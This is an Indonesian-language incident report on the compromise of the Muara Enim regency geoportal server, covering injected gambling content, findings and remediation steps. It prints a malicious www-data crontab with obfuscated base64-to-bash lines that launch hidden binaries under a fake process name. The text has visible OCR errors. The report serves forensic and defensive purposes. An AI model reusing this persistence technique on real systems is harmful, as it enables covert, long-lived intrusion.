LAPORAN INSIDEN KEAMANAN SISTEM

Nama Sistem: geoportal.muaraenimkab.go.id
Tanggal Deteksi: 3 Juli 2025

Server: db-pgsql (akses root)

Lokasi: /var/www/geoportal.muaraenimkab.go.id

1. RINGKASAN INSIDEN

Sistem website resmi Pemerintah Kabupaten Muara Enim (geoportal.muaraenimkab.go.id)
terindikasi telah disusupi dan dimodifikasi untuk menampilkan konten perjudian online.
Selain itu, ditemukan bukti eksekusi perintah backdoor secara periodik melalui cronjob
milik user www-data, serta file mencurigakan dalam direktori sistem.

@® @ root@db-pgsql: /var/spool/cron/crontabs — ssh backup — 80x24

cron mail rsyslog

[root@db-pgsql:/var/spool# cd

cron/ mail/ rsyslog/

root@db-pgsql:/var/spool# cd cron/

\root@db-pgsql:/var/spool/cron# log crontabs/

Command 'log' not found, but there are 16 similar ones.
root@db-pgsql:/var/spool/cron# cd crontabs/www-data

bash: cd: crontabs/www-data: Not a directory

(root@db-pgsql:/var/spool/cron# cd crontabs
llroot@db-pgsql:/var/spool/cron/crontabs# 1s

www—-data

root@db-pgsql:/var/spool/cron/crontabs# cat www-data

# DO NOT EDIT THIS FILE - edit the master and reinstall.

# (- installed on Mon Jun 23 12:36:41 2025)

# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 83:20:37 vixie Exp $)

# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel

#0 x x x * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUzMyBkZWZ1bmNOIDI+L2R1di9udwWxsIHX8IF
NIRUXMPSBURVINPXh@ZXJtLTIINmMNvbGOyIEdTXOFSRIMIIi1rIC92YXIvd3d3Ly5jb25maWevaHRveC
9kZWZ1bmNOLmRhdCAtbG1xRCIgL3Vzci9iaW4svYmFzaCAtYyAiZXh1YyAtYSAnW3JIhaWQ1ld3FdJIyAnL3
Zhci93d3cvLmNvbmZpZy90dGIwWL2R1ZnVuY3QnIiAyPi9kZXYvbnVsbAo=|baseé4 ~d|bash;} 2>/d
ev/null #1b5b324a50524e47 >/dev/random # seed prng defunct—kernel

#0 2 * x x { echo Jy92YXIvd3d3Ly5jb21wb3N1ci9jYWNoZS9hcnRpc2Fulwo=|baseé4 -d|bas]
root@db-pgsql:/var/spool/cron/crontabs# htop
root@db-pgsql:/var/spool/cron/crontabs# Ji
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2. BUKTI VISUAL & TEMUAN

2.1. Konten Web Tergantikan (Gambar 1)
e \Website menampilkan konten “Live Draw SGP” dan promosi situs slot judi.
e Halini menandakan adanya injeksi atau penggantian source code web resmi
dengan konten ilegal.
2.2. Pemeriksaan Cronjob & Binary Mencurigakan (Gambar 2 & 3)

o File /var/spool/cron/crontabs/www-data berisi perintah base64 | bash, yang
berisi payload berbahaya.

¢ Payload ini menjalankan file tersembunyi /var/www/ .config/htop/defunct dan
menyamar dengan nama proses palsu [raid5wq].

e File lain /var/www/ .composer/cache/artisan juga ditemukan, disamarkan seolah
bagian dari sistem Composer.

2.3. Kegagalan Utilitas Standar

e Tools standar seperti netstat, proftpd, crontab -e tidak tersedia/berfungsi,
menandakan kemungkinan sistem telah dimodifikasi oleh penyerang.



3. ANALISIS INSIDEN
e Penyerang berhasil memperoleh akses tulis pada sistem, kemungkinan melalui
celah upload file atau injeksi web.
e Malware mempertahankan keberadaannya melalui cronjob user www-data.

e Teknik penyembunyian meliputi obfuscation base64, penggunaan nama proses
palsu, dan peletakan binary di lokasi tidak wajar.

4. TINDAKAN YANG DIREKOMENDASIKAN
4.1. Isolasi
e Cabut koneksi internet dari server terindikasi.
e Backup penuh seluruh sistem untuk keperluan forensik.
4.2. Eliminasi Ancaman
e Hapus cronjob user www-data.
e Karantina file:
o /var/www/.config/htop/defunct
o /var/www/.composer/cache/artisan
e Hentikan proses aktif mencurigakan.
4.3. Audit & Recovery
e Cekintegritas semua file sistem dan aplikasi.
Re-deploy dari source yang bersih.
Ganti seluruh kredensial (SSH, DB, dll).
Tambahkan proteksi WAF, monitoring cron, dan file integrity checker (AIDE, etc).

5. STATUS DAN LANGKAH LANJUT

e Status: KRITIS (kompromi penuh web server).

e Rencana: Format ulang server dan deployment ulang sistem. Lanjutkan investigasi
potensi penyusupan dari aplikasi.

Disusun oleh:

Bryan Wahyu
Diskominfo Muara Enim
Tanggal: 3 Juli 2025



